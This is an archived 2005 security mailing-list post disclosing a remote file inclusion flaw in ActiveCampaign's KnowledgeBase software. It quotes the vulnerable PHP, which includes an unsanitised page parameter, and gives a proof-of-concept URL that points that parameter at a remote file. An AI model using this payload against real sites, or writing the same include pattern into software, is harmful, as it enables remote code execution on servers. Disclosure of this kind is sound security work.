OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
KnowledgeBase

From: Francisco Alisson (dominusvisclick21.com.br)
Date: Sat Mar 12 2005 - 06:15:47 CST


Remote File Inclusion

KnowledgeBase
Vendor: www.activecampaign.com/kb/

Well, inside the index.php file we can see:

if ($page == ""){
 $page = "startup";
}
 include("$page.php");
?>

After I tested some sites with kb I got file inclusion:
http://www.site.com/kb/index.php?page=http://[file]

Dominus_Vis
[Infektion Group]